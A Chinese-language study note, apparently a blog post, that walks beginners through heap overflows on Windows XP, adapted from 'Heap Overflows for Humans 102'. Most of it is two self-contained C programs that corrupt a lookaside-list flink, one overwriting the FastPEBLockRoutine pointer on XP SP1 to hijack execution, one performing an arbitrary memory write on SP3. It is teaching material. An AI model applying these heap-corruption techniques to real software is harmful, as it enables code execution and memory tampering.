本文從程序實例出發,展示了XP SP1下的堆溢出+代碼執行,XP SP3下的堆溢出+內存任意寫,主要面向{已經掌握緩沖區溢出原理,希望進一步了解堆溢出原理的初學者}、{就是想找個堆溢出例子跑一遍的安全愛好者}以及{跑不通各種堆溢出書籍示例代碼、非得跑通代碼才看的進去書的搜索者}
本筆記參考自:http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/
代碼有較多改動,終于跑通了,并且試著簡單地利用了一下。
按照代碼閱讀者視角 整理了講解思路。
筆記只供初學者參考,并非嚴肅探討堆溢出細節問題,若有不當之處懇請各位指正。
虛擬機: VirtualBox
操作系統: Windows XP sp1
編譯器: VC++ 6.0
調試工具: 看雪OllyICE
其中,Windows XP 只能是sp1,因為sp2之后需要繞過其溢出保護機制 會使文章更加復雜。
如果您想要尋找xp sp3 下的內存任意寫實例,請跳轉0x09。
安裝Windows XP sp1 注意,網上有很多sp2 不知什么目的寫成是sp1,下面是真正的sp1 http://pan.baidu.com/share/link?shareid=371613660&uk=1865555701&fid=2361791550
下載VC++ 6.0 綠色版 http://pan.baidu.com/s/1kTLqYnd 解壓后運行sin.bat
下載代碼工程 http://pan.baidu.com/s/1kT5HRNp
或者拷貝文中代碼 自己新建工程
#!cpp
/*
Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
void print()
{
printf("\nHello\n");
}
int main(int argc,char *argv[])
{
char *a,*b,*c;
long *hHeap;
char buf[10];
printf("----------------------------\n");
printf("Overwrite a chunk on the lookaside\n");
printf("Heap demonstration\n");
printf("----------------------------\n");
// create the heap
hHeap = HeapCreate(0x00040000,0,0);
printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
printf("(+) Allocating chunk A\n");
// allocate the first chunk of size N (<0x3F8 bytes)
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk B\n");
// allocate the second chunk of size N (<0x3F8 bytes)
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
printf("(+) Freeing chunk B to the lookaside\n");
// Freeing of chunk B: the chunk gets referenced to the lookaside list
HeapFree(hHeap,0,b);
// set software bp
//__asm__("int $0x3");
printf("(+) Now overflow chunk A:\n");
// The overflow occurs in chunk A: we can manipulate chunk B's Flink
// PEB lock routine for testing purposes
// 16 bytes for size, 8 bytes for header and 4 bytes for the flink
strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
//gets(a);
// set software bp
//__asm__("int $0x3");
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
// __asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
// A copy operation from a controlled input to this buffer occurs: these
// bytes are written to our chosen location
// insert shellcode here
printf("%x",print);
memcpy(c,"\x00\x10\x40\x00",4);
// set software bp
//_asm int 0x3;
exit(0);
}
編譯運行,運氣好的直接就能跑,不過一般會如下圖:
顯示為:401005(0x00401005),然后修改代碼中:
#!cpp
memcpy(c,"\x00\x10\x40\x00",4);
改成
#!cpp
memcpy(c,"\x05\x10\x40\x00",4);
重新編譯運行即可,成功后如下圖:
然后就可以開始正文了。
之前我們給a從堆里分配了0x10即16個字節的空間
#!cpp
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
因此
#!cpp
strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
發生了溢出。
#!cpp
HeapFree(hHeap,0,b);
把b free掉,然后b就會被放到lookaside list備用。
覆蓋了b的freelist chunk結構。
(AAAABBBB覆蓋了Headers,然后\x20\xf0\xfd\x7f覆蓋的是flink)
#!cpp
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
// __asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
先是從lookaside取回b (flink已經被覆蓋了),然后再去分配c ,于是c被分配到了b的flink即我們的虛假指針處,之后就可以實現內存任意寫了(寫進c的內容就是寫進虛假指針)
0x7FFDF000 指向 FastPEBLockRoutine() 地址指針 (XP SP1) 我們覆蓋這個地址,這樣一旦觸發異常,就會去call 這個地址。
然后我們把print函數地址寫進去,于是就會去執行print函數(顯示Hello,Hello上面打印的是print函數的地址)
因為SP1里面FastPEBLockRoutine()的地址是固定的,而SP2以后版本會隨機
那就用如下代碼吧,不過就沒法FastPEBLockRoutine()隨意call 了
#!cpp
/*
Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
char str[]="\nHello123456789213456789\n";
char *a,*b,*c;
long *hHeap;
char buf[10];
printf("----------------------------\n");
printf("Overwrite a chunk on the lookaside\n");
printf("Heap demonstration\n");
printf("----------------------------\n");
// create the heap
hHeap = HeapCreate(0x00040000,0,0);
printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
printf("(+) Allocating chunk A\n");
// allocate the first chunk of size N (<0x3F8 bytes)
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk B\n");
// allocate the second chunk of size N (<0x3F8 bytes)
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
printf("(+) Freeing chunk B to the lookaside\n");
// Freeing of chunk B: the chunk gets referenced to the lookaside list
HeapFree(hHeap,0,b);
// set software bp
//__asm__("int $0x3");
printf("(+) Now overflow chunk A:\n");
// The overflow occurs in chunk A: we can manipulate chunk B's Flink
// PEB lock routine for testing purposes
// 16 bytes for size, 8 bytes for header and 4 bytes for the flink
printf("%x\n",str);
printf(str);
memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");0x71ac4050
//gets(a);
// set software bp
//__asm__("int $0x3");
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
// __asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
// A copy operation from a controlled input to this buffer occurs: these
// bytes are written to our chosen location
// insert shellcode here
strcpy(c,"AAAAAAAAAAAA\n");
printf(str);
// set software bp
//_asm int 0x3;
exit(0);
}
也許一遍就能跑通,但是一般來說還是像下面一樣
老規矩,自己改代碼(圖中12ff64)0x0012ff64
#!cpp
memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
注意里面有\x00,所以我換用memcpy了,成功后如下圖
那么,這段代碼展示的實際上是內存任意寫(沒有call anycode的利用),只是把任意內容寫到了str里面,即free(b),再用str地址覆蓋b的flink,然后取回b,然后分配c,c被分配到了str地址,然后向c里面寫AAAAAAA,然后就寫進str里面了。
個人觀點:盡管看到這里讀者仍然只是似懂非懂地{大致了解堆溢出的原理和過程},但是起碼有了一個基本的概念,對以后深入研究其機理 奠定了興趣基礎,并且對于{只是好奇的愛好者}來說,涉獵這些也就夠了。
建議有興趣的朋友們去看看heap-overflows-for-humans-102 原文,里面有很多基礎概念的講解,本筆記僅為學習時的記錄,并非嚴肅翻譯原文。
http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/
注:本文代碼基于此文章修改,改動較大。
《C和C++安全編碼》